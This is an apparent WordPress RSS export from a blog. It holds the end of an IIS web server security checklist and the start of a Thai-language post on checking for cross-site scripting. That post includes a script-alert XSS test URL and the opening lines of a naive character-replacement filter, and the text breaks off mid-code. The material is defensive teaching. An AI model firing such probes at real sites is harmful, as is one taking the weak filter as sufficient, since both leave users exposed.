<td class="data" width="90%"><span style="font-size:x-small;">SAM is secured (HKLMSystemCurrentControlSetControlLSANoLMHash). </span><span style="font-size:x-small;">This applies only to standalone servers.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_011"></a><span style="font-size:x-small;">Auditing and Logging</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Failed logon attempts are audited.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IIS log files are relocated and secured.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Log files are configured with an appropriate size depending on the application security requirement.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Log files are regularly archived and analyzed.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Access to the Metabase.bin file is audited.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IIS is configured for W3C Extended log file format auditing.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_012"></a><span style="font-size:x-small;">Sites and Virtual Directories</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Web sites are located on a non-system partition.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">&#8220;Parent paths&#8221; setting is disabled.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Potentially dangerous virtual directories, including IISSamples, IISAdmin, IISHelp, and Scripts virtual directories, are removed.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">MSADC virtual directory (RDS) is removed or secured.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Include directories do not have Read Web permission.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Virtual directories that allow anonymous access restrict Write and Execute Web permissions for the anonymous account.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">There is script source access only on folders that support content authoring.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">There is write access only on folders that support content authoring and these folder are configured for authentication (and SSL encryption, if required).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">FrontPage Server Extensions (FPSE) are removed if not used. If they are used, they are updated and access to FPSE is restricted.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_013"></a><span style="font-size:x-small;">Script Mappings</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Extensions not used by the application are mapped to 404.dll (.idq, .htw, .ida, .shtml, .shtm, .stm, idc, .htr, .printer).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Unnecessary ASP.NET file type extensions are mapped to &#8220;HttpForbiddenHandler&#8221; in Machine.config.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_014"></a><span style="font-size:x-small;">ISAPI Filters</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Unnecessary or unused ISAPI filters are removed from the server.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_015"></a><span style="font-size:x-small;">IIS Metabase</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Access to the metabase is restricted by using NTFS permissions (%systemroot%system32inetsrvmetabase.bin).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IIS banner information is restricted (IP address in content location disabled).</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_016"></a><span style="font-size:x-small;">Server Certificates</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Certificate date ranges are valid.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Certificates are used for their intended purpose (for example, the server certificate is not used for e-mail).</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">The certificate&#8217;s public key is valid, all the way to a trusted root authority.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">The certificate has not been revoked.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_017"></a><span style="font-size:x-small;">Machine.config</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Protected resources are mapped to HttpForbiddenHandler.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Unused HttpModules are removed.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Tracing is disabled &lt;trace enable=&#8221;false&#8221;/&gt;</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Debug compiles are turned off. </span></p>
<pre class="code"><span style="font-size:x-small;">&lt;compilation debug="false" explicit="true" defaultLanguage="vb"&gt;</span></pre>
</td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_018"></a><span style="font-size:x-small;">Code Access Security</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Code access security is enabled on the server.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">All permissions have been removed from the local intranet zone.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">All permissions have been removed from the Internet zone.</span></td>
</tr>
</tbody>
</table>
<h2 class="dtH1"><a name="cl_secwebs_019"></a><span style="font-size:x-small;">Other Check Points</span></h2>
<table class="data" border="0">
<tbody>
<tr valign="top">
<th class="data" width="10%" align="left"><span style="font-size:x-small;">Check</span></th>
<th class="data" width="90%" align="left"><span style="font-size:x-small;">Description</span></th>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">IISLockdown tool has been run on the server.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">HTTP requests are filtered. URLScan is installed and configured.</span></td>
</tr>
<tr valign="top">
<td class="data" width="10%"><span style="font-size:x-small;"><img src="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" border="0" alt="" hspace="0" align="baseline" /></span></td>
<td class="data" width="90%"><span style="font-size:x-small;">Remote administration of the server is secured and configured for encryption, low session time-outs, and account lockouts.</span></td>
</tr>
</tbody>
</table>
<p><span style="font-size:x-small;">reference site: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/CL_SecWebs.asp</span></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/26/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=26&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/how-to-use-this-checklist-web-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />

		<media:content url="http://msdn.microsoft.com/library/en-us/dnnetsec/html/z02bthcm01.gif" medium="image" />
	</item>
		<item>
		<title>การตรวจสอบ Cross Site Scripting</title>
		<link>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%95%e0%b8%a3%e0%b8%a7%e0%b8%88%e0%b8%aa%e0%b8%ad%e0%b8%9a-cross-site-scripting/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%95%e0%b8%a3%e0%b8%a7%e0%b8%88%e0%b8%aa%e0%b8%ad%e0%b8%9a-cross-site-scripting/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:36:41 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[Security .NET CrossScript]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=23</guid>
		<description><![CDATA[ไม่ว่าข้อมูลใดๆก็ตามที่ได้รับจาก User  ถือว่ามีความเสี่ยงในด้านของปลอดภัยทั้งนั้น เพราะเราไม่สามารถรู้วัตถประสงค์ที่แท้จริงของผู้ใช้งานระบบของเราว่าเค้าจะ ใส่ข้อมูลที่เราต้องการหรืออาจจะเป็นข้อมูลที่เราไม่พึ่งประสงค์เข้ามาใน ระบบ หนทางที่ดีที่สุดคือการใส่ระบบป้องกันให้ระบบของเรา หรือ การเขียน program ให้ปลอดภัยนั้นเอง การโจมตีสามารถทำได้โดย การเขียน script ฝั่งลงไปกับข้อมูล (Cross site scripting attacks) หรือการหาช่ิองทางของคำสั่ง query ในฐานข้อมูลเพื่อดึงข้อมูลที่ต้องการออกมา (SQL injection attacks) สามารถทำได้หลากหลายรูปแบบ และเป็นสิ่งที่เราน่าจะเรียนรู้เพื่อนำไปสู่วิธี่การป้องกันที่ดี  ลองคิดดูว่าการเขียนโปรแกรมของเรามีการจัดการเรื่องพวกนี้ได้ดีแค่ไหน หรือ ดีพอหรือยัง มาดูตัวอย่างการป้องกันที่เราคิดว่าน่าจะเพียงพอ ถ้าข้อมูลที่เราได้รับเป็นแบบนี้ somepage.aspx?foo=&#60;script&#62;alert(&#8216;vulnerable XSS code&#8217;)&#60;/script&#62; ฝั่ง Server เราก็เขียนก็แค่เขียน filter เพื่อป้องกันไม่ให้ script นี้สามารถ รันได้ 1 &#60;% 2 fooString= Request.querystring("foo") 3 fooString = Replace(fooString, "&#60;", " ") [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=23&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>ไม่ว่าข้อมูลใดๆก็ตามที่ได้รับจาก User  ถือว่ามีความเสี่ยงในด้านของปลอดภัยทั้งนั้น เพราะเราไม่สามารถรู้วัตถประสงค์ที่แท้จริงของผู้ใช้งานระบบของเราว่าเค้าจะ ใส่ข้อมูลที่เราต้องการหรืออาจจะเป็นข้อมูลที่เราไม่พึ่งประสงค์เข้ามาใน ระบบ หนทางที่ดีที่สุดคือการใส่ระบบป้องกันให้ระบบของเรา หรือ การเขียน program ให้ปลอดภัยนั้นเอง</p>
<p>การโจมตีสามารถทำได้โดย การเขียน script ฝั่งลงไปกับข้อมูล (<span style="font-size:10pt;font-family:Arial,sans-serif;">Cross site scripting attacks</span>) หรือการหาช่ิองทางของคำสั่ง query ในฐานข้อมูลเพื่อดึงข้อมูลที่ต้องการออกมา (<span style="font-size:10pt;font-family:Arial,sans-serif;">SQL injection attacks</span>) สามารถทำได้หลากหลายรูปแบบ และเป็นสิ่งที่เราน่าจะเรียนรู้เพื่อนำไปสู่วิธี่การป้องกันที่ดี  ลองคิดดูว่าการเขียนโปรแกรมของเรามีการจัดการเรื่องพวกนี้ได้ดีแค่ไหน หรือ ดีพอหรือยัง มาดูตัวอย่างการป้องกันที่เราคิดว่าน่าจะเพียงพอ</p>
<p>ถ้าข้อมูลที่เราได้รับเป็นแบบนี้</p>
<p><strong>somepage.aspx?foo=&lt;script&gt;alert(&#8216;vulnerable XSS code&#8217;)&lt;/script&gt;</strong></p>
<p>ฝั่ง Server เราก็เขียนก็แค่เขียน filter เพื่อป้องกันไม่ให้ script นี้สามารถ รันได้</p>
<pre style="background-color:white;"><span style="font-size:x-small;"><span style="color:#008080;">1</span> <span style="background-color:#ffff00;color:#000000;">&lt;%</span><span style="background-color:#f5f5f5;color:#000000;">
</span><span style="color:#008080;">2</span> <span style="background-color:#f5f5f5;color:#000000;">            fooString</span><span style="background-color:#f5f5f5;color:#000000;">=</span><span style="background-color:#f5f5f5;color:#000000;"> Request.querystring(</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;">foo</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">)
